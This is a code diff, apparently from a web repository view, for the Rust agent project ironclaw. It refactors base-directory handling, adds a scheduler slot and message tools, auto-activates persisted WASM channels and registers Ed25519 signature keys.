skip_auth, skip_auth,
channels_only, channels_only,
}) => { }) => {
let _ = dotenvy::dotenv();
ironclaw::bootstrap::load_ironclaw_env();
#[cfg(any(feature = "postgres", feature = "libsql"))] #[cfg(any(feature = "postgres", feature = "libsql"))]
{ {
let config = SetupConfig { let config = SetupConfig {
@@ -141,11 +145,6 @@ async fn main() -> anyhow::Result<()> {
// ── Agent startup ────────────────────────────────────────────────── // ── Agent startup ──────────────────────────────────────────────────
// Load .env files early so DATABASE_URL (and any other vars) are
// available to all subsequent env-based config resolution.
let _ = dotenvy::dotenv();
ironclaw::bootstrap::load_ironclaw_env();
// Enhanced first-run detection // Enhanced first-run detection
#[cfg(any(feature = "postgres", feature = "libsql"))] #[cfg(any(feature = "postgres", feature = "libsql"))]
if !cli.no_onboard if !cli.no_onboard
@@ -348,6 +347,7 @@ async fn main() -> anyhow::Result<()> {
&config, &config,
&components.secrets_store, &components.secrets_store,
components.extension_manager.as_ref(), components.extension_manager.as_ref(),
components.db.as_ref(),
) )
.await; .await;
@@ -456,9 +456,16 @@ async fn main() -> anyhow::Result<()> {
let session_manager = let session_manager =
Arc::new(ironclaw::agent::SessionManager::new().with_hooks(components.hooks.clone())); Arc::new(ironclaw::agent::SessionManager::new().with_hooks(components.hooks.clone()));
// Lazy scheduler slot — filled after Agent::new creates the Scheduler.
// Allows CreateJobTool to dispatch local jobs via the Scheduler even though
// the Scheduler is created after tools are registered (chicken-and-egg).
let scheduler_slot: ironclaw::tools::builtin::SchedulerSlot =
Arc::new(tokio::sync::RwLock::new(None));
// Register job tools (sandbox deps auto-injected when container_job_manager is available) // Register job tools (sandbox deps auto-injected when container_job_manager is available)
components.tools.register_job_tools( components.tools.register_job_tools(
Arc::clone(&components.context_manager), Arc::clone(&components.context_manager),
Some(scheduler_slot.clone()),
container_job_manager.clone(), container_job_manager.clone(),
components.db.clone(), components.db.clone(),
job_event_tx.clone(), job_event_tx.clone(),
@@ -592,10 +599,19 @@ async fn main() -> anyhow::Result<()> {
let channels = Arc::new(channels); let channels = Arc::new(channels);
// Register message tool for sending messages to connected channels
components
.tools
.register_message_tools(Arc::clone(&channels))
.await;
// Wire up channel runtime for hot-activation of WASM channels. // Wire up channel runtime for hot-activation of WASM channels.
if let Some(ref ext_mgr) = components.extension_manager if let Some(ref ext_mgr) = components.extension_manager
&& let Some((rt, ps, router)) = wasm_channel_runtime_state.take() && let Some((rt, ps, router)) = wasm_channel_runtime_state.take()
{ {
let active_at_startup: std::collections::HashSet<String> =
loaded_wasm_channel_names.iter().cloned().collect();
ext_mgr.set_active_channels(loaded_wasm_channel_names).await;
ext_mgr ext_mgr
.set_channel_runtime( .set_channel_runtime(
Arc::clone(&channels), Arc::clone(&channels),
@@ -606,6 +622,29 @@ async fn main() -> anyhow::Result<()> {
) )
.await; .await;
tracing::info!("Channel runtime wired into extension manager for hot-activation"); tracing::info!("Channel runtime wired into extension manager for hot-activation");
// Auto-activate channels that were active in a previous session.
let persisted = ext_mgr.load_persisted_active_channels().await;
for name in &persisted {
if !active_at_startup.contains(name) {
match ext_mgr.activate(name).await {
Ok(result) => {
tracing::info!(
channel = %name,
message = %result.message,
"Auto-activated persisted channel"
);
}
Err(e) => {
tracing::warn!(
channel = %name,
error = %e,
"Failed to auto-activate persisted channel"
);
}
}
}
}
} }
// Wire SSE sender into extension manager for broadcasting status events. // Wire SSE sender into extension manager for broadcasting status events.
@@ -641,6 +680,9 @@ async fn main() -> anyhow::Result<()> {
Some(session_manager), Some(session_manager),
); );
// Fill the scheduler slot now that Agent (and its Scheduler) exist.
*scheduler_slot.write().await = Some(agent.scheduler());
agent.run().await?; agent.run().await?;
// ── Shutdown ──────────────────────────────────────────────────────── // ── Shutdown ────────────────────────────────────────────────────────
@@ -856,6 +898,7 @@ async fn setup_wasm_channels(
config: &ironclaw::config::Config, config: &ironclaw::config::Config,
secrets_store: &Option<Arc<dyn SecretsStore + Send + Sync>>, secrets_store: &Option<Arc<dyn SecretsStore + Send + Sync>>,
extension_manager: Option<&Arc<ironclaw::extensions::ExtensionManager>>, extension_manager: Option<&Arc<ironclaw::extensions::ExtensionManager>>,
database: Option<&Arc<dyn ironclaw::db::Database>>,
) -> Option<WasmChannelSetup> { ) -> Option<WasmChannelSetup> {
let runtime = match WasmChannelRuntime::new(WasmChannelRuntimeConfig::default()) { let runtime = match WasmChannelRuntime::new(WasmChannelRuntimeConfig::default()) {
Ok(r) => Arc::new(r), Ok(r) => Arc::new(r),
@@ -866,7 +909,13 @@ async fn setup_wasm_channels(
}; };
let pairing_store = Arc::new(PairingStore::new()); let pairing_store = Arc::new(PairingStore::new());
let loader = WasmChannelLoader::new(Arc::clone(&runtime), Arc::clone(&pairing_store)); let settings_store: Option<Arc<dyn ironclaw::db::SettingsStore>> =
database.map(|db| Arc::clone(db) as Arc<dyn ironclaw::db::SettingsStore>);
let loader = WasmChannelLoader::new(
Arc::clone(&runtime),
Arc::clone(&pairing_store),
settings_store,
);
let results = match loader let results = match loader
.load_from_dir(&config.channels.wasm_channels_dir) .load_from_dir(&config.channels.wasm_channels_dir)
@@ -889,6 +938,7 @@ async fn setup_wasm_channels(
tracing::info!("Loaded WASM channel: {}", channel_name); tracing::info!("Loaded WASM channel: {}", channel_name);
let secret_name = loaded.webhook_secret_name(); let secret_name = loaded.webhook_secret_name();
let sig_key_secret_name = loaded.signature_key_secret_name();
let webhook_secret = if let Some(secrets) = secrets_store { let webhook_secret = if let Some(secrets) = secrets_store {
secrets secrets
@@ -962,6 +1012,25 @@ async fn setup_wasm_channels(
secret_header, secret_header,
) )
.await; .await;
// Register Ed25519 signature key if declared in capabilities
if let Some(ref sig_key_name) = sig_key_secret_name
&& let Some(secrets) = secrets_store
&& let Ok(key_secret) = secrets.get_decrypted("default", sig_key_name).await
{
match wasm_router
.register_signature_key(&channel_name, key_secret.expose())
.await
{
Ok(()) => {
tracing::info!(channel = %channel_name, "Registered Ed25519 signature key")
}
Err(e) => {
tracing::error!(channel = %channel_name, error = %e, "Invalid signature key in secrets store")
}
}
}
if let Some(secrets) = secrets_store { if let Some(secrets) = secrets_store {
match inject_channel_credentials(&channel_arc, secrets.as_ref(), &channel_name).await { match inject_channel_credentials(&channel_arc, secrets.as_ref(), &channel_name).await {
Ok(count) => { Ok(count) => {
+10 -6
View File
@@ -11,6 +11,7 @@ use chrono::{DateTime, Utc};
use tokio::sync::RwLock; use tokio::sync::RwLock;
use uuid::Uuid; use uuid::Uuid;
use crate::bootstrap::ironclaw_base_dir;
use crate::error::OrchestratorError; use crate::error::OrchestratorError;
use crate::orchestrator::auth::{CredentialGrant, TokenStore}; use crate::orchestrator::auth::{CredentialGrant, TokenStore};
use crate::sandbox::connect_docker; use crate::sandbox::connect_docker;
@@ -158,11 +159,14 @@ fn validate_bind_mount_path(
), ),
})?; })?;
let home = dirs::home_dir().ok_or_else(|| OrchestratorError::ContainerCreationFailed { let projects_base = ironclaw_base_dir().join("projects");
job_id,
reason: "could not determine home directory for path validation".to_string(), if !projects_base.is_absolute() {
})?; return Err(OrchestratorError::ContainerCreationFailed {
let projects_base = home.join(".ironclaw").join("projects"); job_id,
reason: "base directory is not absolute; cannot safely validate bind mounts".into(),
});
}
// Ensure the base exists so canonicalize always succeeds. // Ensure the base exists so canonicalize always succeeds.
std::fs::create_dir_all(&projects_base).map_err(|e| { std::fs::create_dir_all(&projects_base).map_err(|e| {
@@ -617,7 +621,7 @@ mod tests {
#[test] #[test]
fn test_validate_bind_mount_valid_path() { fn test_validate_bind_mount_valid_path() {
let base = dirs::home_dir().unwrap().join(".ironclaw").join("projects"); let base = crate::bootstrap::compute_ironclaw_base_dir().join("projects");
std::fs::create_dir_all(&base).unwrap(); std::fs::create_dir_all(&base).unwrap();
let test_dir = base.join("test_validate_bind"); let test_dir = base.join("test_validate_bind");
+3 -3
View File
@@ -12,6 +12,8 @@ use fs4::FileExt;
use rand::Rng; use rand::Rng;
use serde::{Deserialize, Serialize}; use serde::{Deserialize, Serialize};
use crate::bootstrap::ironclaw_base_dir;
const PAIRING_CODE_LENGTH: usize = 8; const PAIRING_CODE_LENGTH: usize = 8;
const PAIRING_ALPHABET: &[u8] = b"ABCDEFGHJKLMNPQRSTUVWXYZ23456789"; const PAIRING_ALPHABET: &[u8] = b"ABCDEFGHJKLMNPQRSTUVWXYZ23456789";
/// TTL for pending pairing requests (minutes, not hours — reduces brute-force window). /// TTL for pending pairing requests (minutes, not hours — reduces brute-force window).
@@ -70,9 +72,7 @@ struct AllowFromStoreFile {
} }
fn default_pairing_dir() -> PathBuf { fn default_pairing_dir() -> PathBuf {
dirs::home_dir() ironclaw_base_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw")
} }
fn safe_channel_key(channel: &str) -> Result<String, PairingStoreError> { fn safe_channel_key(channel: &str) -> Result<String, PairingStoreError> {
+4 -3
View File
@@ -5,6 +5,7 @@ use std::path::{Component, Path, PathBuf};
use tokio::fs; use tokio::fs;
use crate::bootstrap::ironclaw_base_dir;
use crate::registry::catalog::RegistryError; use crate::registry::catalog::RegistryError;
use crate::registry::manifest::{BundleDefinition, ExtensionManifest, ManifestKind}; use crate::registry::manifest::{BundleDefinition, ExtensionManifest, ManifestKind};
@@ -179,11 +180,11 @@ impl RegistryInstaller {
/// Default installer using standard paths. /// Default installer using standard paths.
pub fn with_defaults(repo_root: PathBuf) -> Self { pub fn with_defaults(repo_root: PathBuf) -> Self {
let home = dirs::home_dir().unwrap_or_else(|| PathBuf::from(".")); let base_dir = ironclaw_base_dir();
Self { Self {
repo_root, repo_root,
tools_dir: home.join(".ironclaw").join("tools"), tools_dir: base_dir.join("tools"),
channels_dir: home.join(".ironclaw").join("channels"), channels_dir: base_dir.join("channels"),
} }
} }
+1 -1
View File
@@ -155,7 +155,7 @@ impl ExtensionManifest {
/// extension discovery system. /// extension discovery system.
pub fn to_registry_entry(&self) -> RegistryEntry { pub fn to_registry_entry(&self) -> RegistryEntry {
let buildable = ExtensionSource::WasmBuildable { let buildable = ExtensionSource::WasmBuildable {
repo_url: self.source.dir.clone(), source_dir: self.source.dir.clone(),
build_dir: Some(self.source.dir.clone()), build_dir: Some(self.source.dir.clone()),
crate_name: Some(self.source.crate_name.clone()), crate_name: Some(self.source.crate_name.clone()),
}; };

Some files were not shown because too many files have changed in this diff Show More